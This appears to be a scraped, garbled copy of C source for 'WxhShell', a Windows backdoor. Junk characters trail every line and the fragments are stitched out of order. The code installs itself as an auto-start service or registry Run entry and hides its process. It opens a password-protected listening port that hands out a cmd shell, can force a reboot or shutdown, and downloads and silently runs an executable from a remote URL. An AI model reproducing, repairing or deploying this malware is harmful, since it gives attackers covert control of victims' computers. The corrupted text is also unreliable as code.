    else { p/V  
    closesocket(wsh); W#cr9"'Ta  
    ExitThread(0); `Pj7O/!)#!  
    } p%304oP6  
    break; zG z^T  
    } :SxOQ(n  
  // 获取shell ]h (TZu  
  case 's': { u7|{~D&f  
    CmdShell(wsh); e2#"o{+@  
    closesocket(wsh); wv,,#P  
    ExitThread(0); LS:3Dtq  
    break; JL~QE-pvD  
  } b`Wn98s  
  // 退出 z-G|EAON"/  
  case 'x': { U\S%Jq*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uM0!,~&9|  
    CloseIt(wsh); 0x'-\)v>3  
    break; i<D}"h|  
    } %hK?\Pg3=E  
  // 离开 NN5V|# P}  
  case 'q': { &s!"pEZWck  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G9\Bi-'ul  
    closesocket(wsh); Y""-U3;T~  
    WSACleanup(); yI9~LTlA3  
    exit(1); \GtZX!0  
    break; |(Zv g}c_  
        } '< OB  j  
  } H~-zq} 4  
  } -&Fxg>FrYb  
%UJ!(_  
  // 提示信息 m{={a5GD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^RkHdA  
} 1E Lzzn  
  } RMB?H)p+  
9GS<d.#Nvc  
  return; Cna@3)_  
} dN>XZv  
W38My j!  
// shell模块句柄 Auhw(b>}TW  
int CmdShell(SOCKET sock) w<_.T#  
{ fys@%PZq  
STARTUPINFO si; qs6yEuh#  
ZeroMemory(&si,sizeof(si)); <!:,(V>F(C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8k'UEf`'(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -@ #b<"1  
PROCESS_INFORMATION ProcessInfo; <[xxCW(2  
char cmdline[]="cmd"; GY4 :9Lub7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p7(xk6W  
  return 0; Ty%4#9``0  
} .<v0y"amJ  
ToJV.AdfT  
// 自身启动模式 ]?,47,[<  
int StartFromService(void) L@?Dmn'v  
{ HZ=Dd4!  
typedef struct 8?W!U*0aS  
{ k ]x64hgm  
  DWORD ExitStatus; ~BCSm]j  
  DWORD PebBaseAddress; pTZPOv#?Q  
  DWORD AffinityMask; P ]2M  
  DWORD BasePriority; 1?HUXN#,  
  ULONG UniqueProcessId; P,!W\N%3  
  ULONG InheritedFromUniqueProcessId; ?/"@WP9  
}   PROCESS_BASIC_INFORMATION; ?n/:1LN,  
h 88iZK  
PROCNTQSIP NtQueryInformationProcess; f(DGC2R <  
\Ja%u"D A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  ;9c3IK@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yY*OAC  
 D@qq=M  
  HANDLE             hProcess; ]M{SM`Ya  
  PROCESS_BASIC_INFORMATION pbi; -;T>4B=  
2uw%0r3Vi6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n4)G g~PE  
  if(NULL == hInst ) return 0; #e&j]Q$Eh  
N`y!Km  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \~xsBPX+x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p<'mc|hGq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g=pz&cz;>\  
tjOfekU  
  if (!NtQueryInformationProcess) return 0; 8_f0P8R!y  
mT@UQCG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pw:<a2.  
  if(!hProcess) return 0;  yyk[oH-Q  
(|ga#%iI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^`YSl*:  
}K;@$B6,@  
  CloseHandle(hProcess); F=B>0Q5   
]*}*zXN/E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X=(8t2  
if(hProcess==NULL) return 0; Pf)<6?T  
 AO;+XP=  
HMODULE hMod; &X_I^*  
char procName[255]; ZERUvk  
unsigned long cbNeeded; ({![  
PK3)M'[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ci5ERv`  
2DTH|Yv  
  CloseHandle(hProcess); 9R>A,x(  
/j -LW1:N  
if(strstr(procName,"services")) return 1; // 以服务启动 i1vBg}WHN  
n5UcivyX  
  return 0; // 注册表启动 (W3R3>;  
} GfQMdLy\Z  
5#d"]7  
// 主模块 ~n]:f7?I  
int StartWxhshell(LPSTR lpCmdLine) t>&$_CSWK  
{  ceVej'  
  SOCKET wsl; ;^}cZ  
BOOL val=TRUE; lZ^XZjwoM  
  int port=0; 2K, 1wqf'  
  struct sockaddr_in door; [ $.oyjd  
H|F>BjXn5  
  if(wscfg.ws_autoins) Install(); !i_5Xc H  
lhQ*;dMj%"  
port=atoi(lpCmdLine); aChY5R  
lqqY5l6j  
if(port<=0) port=wscfg.ws_port; ReKnvF~  
8XX ,(k_b  
  WSADATA data; K"Nq_Ddwd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }'kk}2ej`  
]|Vm!Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HtY\!_Ea  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XFYCPET  
  door.sin_family = AF_INET; :BMUc-[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wi*Ke2YKP  
  door.sin_port = htons(port); t]eB3)FX  
1ErH \!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bL *;N3#E  
closesocket(wsl); k>VP<Zm13  
return 1; ),bdj+wr78  
} /J{P8=x}_:  
uHz D  
  if(listen(wsl,2) == INVALID_SOCKET) { X /5tZ@  
closesocket(wsl); U <4<8'  
return 1; M/d!&Bk  
} 9]NsWd^^  
  Wxhshell(wsl); .j7|;Ag  
  WSACleanup(); LfOGq%&  
DKIDLf  
return 0;  +tfmBZl^  
b)@D*plS&  
} #: ' P3)&  
^_5$+  
// 以NT服务方式启动 -Rjn<bTIy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~ D3'-,n[  
{ ]3 0 7 .  
DWORD   status = 0; ?/#HTg)!B  
  DWORD   specificError = 0xfffffff; nkN]z ^j  
=5dv38  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K<Yh'RvTD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *XtZ;os]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; woR((K] #G  
  serviceStatus.dwWin32ExitCode     = 0; .s7/bF  
  serviceStatus.dwServiceSpecificExitCode = 0; ,vg8iR a  
  serviceStatus.dwCheckPoint       = 0; 3w{ i5gGn  
  serviceStatus.dwWaitHint       = 0; Y;&Cmi  
YqNhD6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /8W}o/,s5  
  if (hServiceStatusHandle==0) return; dP)8T  
pVbX#3  
status = GetLastError(); uT;Qo{G^  
  if (status!=NO_ERROR) %*}JDx#@  
{ T^A:pL1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /"iYEr%_  
    serviceStatus.dwCheckPoint       = 0; 6mRvuJ%  
    serviceStatus.dwWaitHint       = 0; MlRgdVX  
    serviceStatus.dwWin32ExitCode     = status; Mqw&%dz'_  
    serviceStatus.dwServiceSpecificExitCode = specificError; \8Blq5n-O*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LfgR[!  
    return; dhm ;  
  } A FfgGO  
?1PY]KNaK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N SHlo*)}  
  serviceStatus.dwCheckPoint       = 0; iy$]9Wf6=@  
  serviceStatus.dwWaitHint       = 0; ) 3Y E$,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P.;B V",  
} [&FMVM`  
!7%L%~z^  
// 处理NT服务事件,比如:启动、停止 k(VA5upCs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aN;L5;m#>{  
{ ZV;#ZXch  
switch(fdwControl) D"A`b{z  
{ #XJYkaL  
case SERVICE_CONTROL_STOP: !xe<@$  
  serviceStatus.dwWin32ExitCode = 0; C=PBF\RkKu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;2dhue  
  serviceStatus.dwCheckPoint   = 0; 83TN6gW  
  serviceStatus.dwWaitHint     = 0;  KsUsj3J  
  { .P,\69g~A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9^ mrsj  
  } u{>5  
  return; ,T&B.'cq  
case SERVICE_CONTROL_PAUSE: x]a>Q),  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \n<N>j@3  
  break; MHxv@1)K|Y  
case SERVICE_CONTROL_CONTINUE: I9>1WT<Yy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5[/ *UtB  
  break; &lGp /m:  
case SERVICE_CONTROL_INTERROGATE: ZB ~D_S  
  break; eKStt|M'  
}; 5vP*oD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cp.)K!$  
} 6x[gg !;85  
U.wgae].O;  
// 标准应用程序主函数 { Ja#pt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  d(v )SS  
{  NsJUruN  
_Dk;U*2  
// 获取操作系统版本 zD)2af  
OsIsNt=GetOsVer(); b,318R8+G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M}%0=VCY7  
6"A|)fz  
  // 从命令行安装 1YM04*H  
  if(strpbrk(lpCmdLine,"iI")) Install(); GhpH7% s  
\W1?Qc1]  
  // 下载执行文件 $,h*xb.  
if(wscfg.ws_downexe) { VnIJ$5Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "2=v?,'t  
  WinExec(wscfg.ws_filenam,SW_HIDE); _/MKU!\l  
} `7N[rs9|S  
C@Wm+E~;8  
if(!OsIsNt) { Q>Q$BCD5  
// 如果时win9x,隐藏进程并且设置为注册表启动 oPWvZI(\&  
HideProc(); .[O*bk  
StartWxhshell(lpCmdLine); T+2?u.{I  
} vQIoj31  
else *5|\if\  
  if(StartFromService()) #Va@4<4r  
  // 以服务方式启动 mH}AVje{ `  
  StartServiceCtrlDispatcher(DispatchTable); q"]-CGAa  
else WVwNjQ2PM  
  // 普通方式启动 0c:CA>F  
  StartWxhshell(lpCmdLine); -?e~S\JH  
J@yy2AZnO  
return 0; Q) FL|   
} g7d)YUc  
Wigm`A=,r  
/- kMzL  
X8*q[@$  
=========================================== L:B&`,E  
fNB*o={r|  
k92189B9j/  
y l3iU:+V  
t0?BU~f  
 -JUv'fk  
" 0]NsT0M  
YjG0: 9  
#include <stdio.h> l<qxr.X  
#include <string.h> ]p#Zdm1EL  
#include <windows.h> /wvA]ooT  
#include <winsock2.h> jkPXkysm  
#include <winsvc.h> e1+ %c9UQ  
#include <urlmon.h> q:nYUW o   
]vu' +F$  
#pragma comment (lib, "Ws2_32.lib") ;%U`lE0  
#pragma comment (lib, "urlmon.lib") ,P9B8oIq  
!})+WSs'"s  
#define MAX_USER   100 // 最大客户端连接数 \ &_ -  
#define BUF_SOCK   200 // sock buffer dd$\Q  
#define KEY_BUFF   255 // 输入 buffer [ ra [~  
:l*wf/&z  
#define REBOOT     0   // 重启 9 -TFyZYU  
#define SHUTDOWN   1   // 关机 (>)Y0ki}  
fh,Y#.V`  
#define DEF_PORT   5000 // 监听端口 5Z;Py"%  
R$w=+%F  
#define REG_LEN     16   // 注册表键长度 "pHQ  
#define SVC_LEN     80   // NT服务名长度 I s88+,O  
t$UFR7XE  
// 从dll定义API QR^pu.k@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y8,es$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kuUH 2:L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VY![VnHsB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [!aHP ?-  
s'5 jvlG  
// wxhshell配置信息 2poU \|H  
struct WSCFG { +  ^~n09  
  int ws_port;         // 监听端口 iAXx`>}m  
  char ws_passstr[REG_LEN]; // 口令 DpTQPu9  
  int ws_autoins;       // 安装标记, 1=yes 0=no TmUn/  
  char ws_regname[REG_LEN]; // 注册表键名 s]=kD  
  char ws_svcname[REG_LEN]; // 服务名 Y3-15:-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o]k[l ;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -4HI9Czts  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W;0_@!?mr}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U;{VL!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I:Z38xz-[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XvdK;  
g=Qj9Z  
}; '9RHwKu&s  
ozGK -$  
// default Wxhshell configuration VT0I1KQx.  
struct WSCFG wscfg={DEF_PORT, tM !1oWH  
    "xuhuanlingzhe", I *}:C  
    1, 4#=^YuKaF1  
    "Wxhshell", c{&sf y  
    "Wxhshell", 9$Hgh7'hvs  
            "WxhShell Service", ql_aDo j  
    "Wrsky Windows CmdShell Service", r2H]n.MT  
    "Please Input Your Password: ", *Jp>)>  
  1, u#}zNz#C5  
  "http://www.wrsky.com/wxhshell.exe", 2>s:wABb /  
  "Wxhshell.exe" Ou,B3kuQ+  
    }; &Cdd  
67f#Z&r2k  
// 消息定义模块 Ho\z ^w+T`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v'Lckw@G4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f5`exfdHE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eBBh/=Zc  
char *msg_ws_ext="\n\rExit."; lYq R6^  
char *msg_ws_end="\n\rQuit."; "_5av!;A g  
char *msg_ws_boot="\n\rReboot..."; BeplS  
char *msg_ws_poff="\n\rShutdown..."; 1L^\TC  
char *msg_ws_down="\n\rSave to "; +n%WmRf6!  
qt3 \*U7x  
char *msg_ws_err="\n\rErr!"; 3 vE;s"/  
char *msg_ws_ok="\n\rOK!"; m~X:KwK4  
WXGLo;+>I  
char ExeFile[MAX_PATH]; `)SkA?yKI  
int nUser = 0; m2\ZnC  
HANDLE handles[MAX_USER]; (+T|B E3*#  
int OsIsNt; b%pLjvU  
EP{y?+E2  
SERVICE_STATUS       serviceStatus; 0R *!o\y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1k "*@Z<  
ukhI'alS,  
// 函数声明 |ukEnjI`u  
int Install(void); )8P<ZtEU  
int Uninstall(void); Ee4oTU5Mb  
int DownloadFile(char *sURL, SOCKET wsh); od-N7lp#  
int Boot(int flag); ~sk 4v:-  
void HideProc(void); aIJ[K  
int GetOsVer(void); a*?? !  
int Wxhshell(SOCKET wsl); LoNz 1KJL  
void TalkWithClient(void *cs); w' U;b  
int CmdShell(SOCKET sock); O^`Y>>a  
int StartFromService(void); CQ13fu +|6  
int StartWxhshell(LPSTR lpCmdLine); ucB<  
]k>S0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [?]s((A~B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _L&C4 <e'  
Q2iu}~  
// 数据结构和表定义 Rrk3EL  
SERVICE_TABLE_ENTRY DispatchTable[] = -S9$C*t  
{ xNl_Q8Z?R^  
{wscfg.ws_svcname, NTServiceMain}, D(L%fK`+  
{NULL, NULL} %hOe `2#$  
}; 6kYn5:BhIi  
Vx?a&{3]-  
// 自我安装 `ZNz Dr  
int Install(void) M-0BQs`N  
{ v')T^b F@  
  char svExeFile[MAX_PATH]; Ue~M .LZb  
  HKEY key; |?{Zx&yUw  
  strcpy(svExeFile,ExeFile); @u$4{sjgf\  
/|hKZTZJdN  
// 如果是win9x系统,修改注册表设为自启动 N{oD1%  
if(!OsIsNt) { T2^ @x9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lZ E x0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >'E'Mp.  
  RegCloseKey(key); Fe`$mtPu.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6(X(f;MEl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oGXT,38*  
  RegCloseKey(key); s6!aGZ  
  return 0; 5f}wQ  
    } !=eui$]  
  }  ;-U :t4  
} +*F ;l\R  
else { FRX'"gIR0  
x!gu&AA<*  
// 如果是NT以上系统,安装为系统服务 _f2(vWCW;J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '6[0NuB  
if (schSCManager!=0) r1$ O<3\  
{ !J'BAq[x  
  SC_HANDLE schService = CreateService XG_ lyx%:E  
  ( ;v>2z!M  
  schSCManager, c00a;=ji  
  wscfg.ws_svcname, _fa2ntuS=f  
  wscfg.ws_svcdisp, IQY\L@"  
  SERVICE_ALL_ACCESS, ob-z-iDz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lYD-U8  
  SERVICE_AUTO_START, JtvAi\52$  
  SERVICE_ERROR_NORMAL, dsrzXmE0  
  svExeFile, BTGPP@p4  
  NULL, M0 =K#/  
  NULL, _ jF, k>F  
  NULL, YDdmT7Ow  
  NULL, m[(2  
  NULL VbJGyjx  
  ); s$|GVv1B  
  if (schService!=0) c?j/ H$  
  { ~ B1)!5Z  
  CloseServiceHandle(schService); (4x`/  
  CloseServiceHandle(schSCManager); sDw&U?gUv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {N/(lB8  
  strcat(svExeFile,wscfg.ws_svcname); O~l WFaW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3Sf <oYF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `A3"*,|z  
  RegCloseKey(key); G-9]z[\#  
  return 0; l<! ?`V6}  
    } A0 x*feK?  
  } m".8-  
  CloseServiceHandle(schSCManager); h@@2vs2  
} D3|y|Dr  
} @e3O=_m-  
8v5cQ5Lc  
return 1; ##EMJi  
} [f&ja[m q  
~UEft  
// 自我卸载 ^4h/6^b0c  
int Uninstall(void) <jY"+@rF  
{ 0a ZplE,  
  HKEY key; ggXg4~WL  
z3[ J>  
if(!OsIsNt) { |ILj}4ZA7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $wub)^  
  RegDeleteValue(key,wscfg.ws_regname); Nu<M~/  
  RegCloseKey(key); nV@k}IJg:?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @y2{LUJe  
  RegDeleteValue(key,wscfg.ws_regname); >5'C<jc C  
  RegCloseKey(key); O#sDZ.EL  
  return 0; G?#f@N0.5p  
  } U# G0  
} bb}|"m .  
} :l'61$=  
else { }L'BzSU@G  
Z9E[RD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~bf-uHx  
if (schSCManager!=0) =hjff/ X  
{ )C|[j@MD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3#!}W#xv  
  if (schService!=0) Akb#1Ww4  
  { #kR8v[Z  
  if(DeleteService(schService)!=0) { 8rx?mX,}  
  CloseServiceHandle(schService); ,-rOfk\u  
  CloseServiceHandle(schSCManager); m+?$cyA>v  
  return 0; a;r,*zZ="  
  } jhr: QS/9  
  CloseServiceHandle(schService); >\+c@o[  
  } &O/;YGEAB  
  CloseServiceHandle(schSCManager); g+bc4eU  
} [u`v'*0d  
} \L($;8` \  
?h2!Z{[0b  
return 1; kn:X^mDXC/  
} ?>92OuG%W?  
^7G@CBic"  
// 从指定url下载文件 om@GH0o+  
int DownloadFile(char *sURL, SOCKET wsh) vR[XbsNM  
{ U(4>e!  
  HRESULT hr; [AstD9  
char seps[]= "/"; =aX;-  
char *token; z/dpnGX  
char *file; (P%{Tab  
char myURL[MAX_PATH]; 7k.=_Tl  
char myFILE[MAX_PATH]; @eU;oRVc{  
=]X_wA;%  
strcpy(myURL,sURL); ]|KOc& y:I  
  token=strtok(myURL,seps); zy^t95/m  
  while(token!=NULL) ecfw[4B`  
  { G~b/!clN  
    file=token; i|?EgGFG  
  token=strtok(NULL,seps); ,UNCBnv1  
  } FZf{kWH  
/@h)IuW  
GetCurrentDirectory(MAX_PATH,myFILE); `@!4#3H  
strcat(myFILE, "\\"); 5 Sm9m*/  
strcat(myFILE, file); c5Fl:=h  
  send(wsh,myFILE,strlen(myFILE),0); >NwS0j$j@  
send(wsh,"...",3,0); uQk}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1U[Q)(P  
  if(hr==S_OK) {]-AuC2E/0  
return 0; ' 5`w5swbc  
else Ac{"$P`  
return 1; jrJ!A(<)  
u*u3<YQ  
} 6AD#x7drj  
X` r~cc  
// 系统电源模块 | >X5@  
int Boot(int flag) A/:^l%y,GZ  
{ =]i[gs)B  
  HANDLE hToken; %P@V7n  
  TOKEN_PRIVILEGES tkp; *|n-Hr  
!:"$1kh1("  
  if(OsIsNt) { WD.td  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hilgl<UF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c~ x  
    tkp.PrivilegeCount = 1; jiw5>RNt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; moz*=a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z'=:Bo{  
if(flag==REBOOT) { PggjuPPh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [[ {L#  
  return 0; t,H=;U#  
} jMFLd  
else { G)5R iRcs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y]MB/\gj  
  return 0; d7(g=JK<  
} uknX py))  
  } &gGh%:`B  
  else { 0G?*i_u\  
if(flag==REBOOT) { +h*-9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q1hHK'3w  
  return 0; +8p4\l$<`  
} p SMF1Oy  
else { FLf< gz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A<$~Q;r2a  
  return 0; &=ZVU\o:  
} dZMf5=tb  
} `hpX97v  
:xwyE(w  
return 1; _TLB1T^/4  
} ArK%?*`5  
u_31Db<  
// win9x进程隐藏模块 oJ4OVfknD  
void HideProc(void) +hiskV@v  
{ L?h'^*F H}  
}(MI}o}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qK=uSL o\+  
  if ( hKernel != NULL ) nev@ykP6  
  { o,(]w kF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cl,\N\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +q<G%PwbV  
    FreeLibrary(hKernel); E]@$,)nC  
  } )O}q{4,}  
$f>h_8cla  
return; 41^=z[k  
} XWd;-%`<  
STln_'DF'  
// 获取操作系统版本 n VNz5B  
int GetOsVer(void) ."X}A t  
{ xOY %14%Y  
  OSVERSIONINFO winfo; d1]1bN4`"0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )/87<Y;o  
  GetVersionEx(&winfo); B:X,vE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =5l20 Um  
  return 1;  Q{K '#  
  else O %m\ Q1  
  return 0; 2wX4e0cOI4  
} qnc?&f  
uT :Yh6  
// 客户端句柄模块 xa"8"8  
int Wxhshell(SOCKET wsl) ~6nY5  
{ azBYh*s=5{  
  SOCKET wsh; .dwy+BzS  
  struct sockaddr_in client; e #!YdXSx  
  DWORD myID; GBg~NkC7.  
f$y`tT %o  
  while(nUser<MAX_USER) 70Z#Ej  
{ Sdo mG?;kV  
  int nSize=sizeof(client); NoAgZ{))  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WgTD O3  
  if(wsh==INVALID_SOCKET) return 1; od=x?uBVd  
dilom#2l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <@4 48,9&  
if(handles[nUser]==0) _/c1b>kcso  
  closesocket(wsh); ko-,l6E  
else ; <NK  
  nUser++; '( ( pW  
  } {3LAK[ C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [C-4*qOaa2  
.91@T.  
  return 0; 1SK|4Am  
} ybY[2g2QJ  
N e<D'-  
// 关闭 socket R\T1R"1  
void CloseIt(SOCKET wsh) Q\moR^>  
{ {VmJVO]S  
closesocket(wsh); gJFx#s0?6.  
nUser--; zBjtPtiiI8  
ExitThread(0); 7{ JIHY+  
} >}7Ml  
'qy LQ:6  
// 客户端请求句柄 o'?[6B>oj  
void TalkWithClient(void *cs) m%s&$  
{ c>b!{e@*  
ZZ*+Tl\ s  
  SOCKET wsh=(SOCKET)cs; Q1[3C(  
  char pwd[SVC_LEN]; qP k`e}D  
  char cmd[KEY_BUFF]; `k;MGs)&  
char chr[1]; CM`B0[B  
int i,j; =bHS@h8N<  
Abc%VRsT  
  while (nUser < MAX_USER) { *}h#'+  
Q94Lq~?YF  
if(wscfg.ws_passstr) { x>!bvZ2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 23p1Lb9P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~W..P:wG5  
  //ZeroMemory(pwd,KEY_BUFF); ks|c'XQb  
      i=0; JYw_Z*L=m  
  while(i<SVC_LEN) { b4?]/Uy+/  
^:cc3wt'3[  
  // 设置超时 I<+i87=  
  fd_set FdRead; EA``G8Vn>  
  struct timeval TimeOut; +bDBc?HZ{$  
  FD_ZERO(&FdRead); 8\VP)<<  
  FD_SET(wsh,&FdRead); ZJf:a}=h  
  TimeOut.tv_sec=8; Z#NEa.]  
  TimeOut.tv_usec=0; sS{!z@\Lf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M 8NWQ^Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4.e0k<]N`  
%y|L'C,ge"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1=L5=uz1d:  
  pwd=chr[0]; MUW&m2  
  if(chr[0]==0xd || chr[0]==0xa) { g-LMct8$  
  pwd=0; q|zips,  
  break; G%F}H/|R  
  } uc>]-4  
  i++; w!|jL $5L  
    } /g)(  
+R2+?v6  
  // 如果是非法用户,关闭 socket <N(r -  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >[0t@Tu,D  
} *8Kx y@  
vdaG?+_o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s9rKXY',:l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M.o H,Kd6  
&WKAg:^k)  
while(1) { d=C&b]  
Q+7+||RW  
  ZeroMemory(cmd,KEY_BUFF); z]/!4+  
.LI(2lP  
      // 自动支持客户端 telnet标准    7CwQmVe+  
  j=0; Ib(G!oO:E-  
  while(j<KEY_BUFF) { (.pi,+Ws  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !O 0{ .k  
  cmd[j]=chr[0]; ],-(YPiAD  
  if(chr[0]==0xa || chr[0]==0xd) { )}$]~ f4R  
  cmd[j]=0; 7h#*dj ef  
  break; [x{Ai( /T^  
  } g#%Egb1  
  j++; T f40lv+{  
    } 6an= C_Mb`  
"t)$4gERK  
  // 下载文件 (91 YHhk{  
  if(strstr(cmd,"http://")) { "lRxatM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hw({>cH\  
  if(DownloadFile(cmd,wsh)) uk9!rE"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 -S?U~s  
  else +z|@K=d#|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qM18 Ji*  
  } ?mHu eX  
  else { f=A`{ 8^  
 r m  
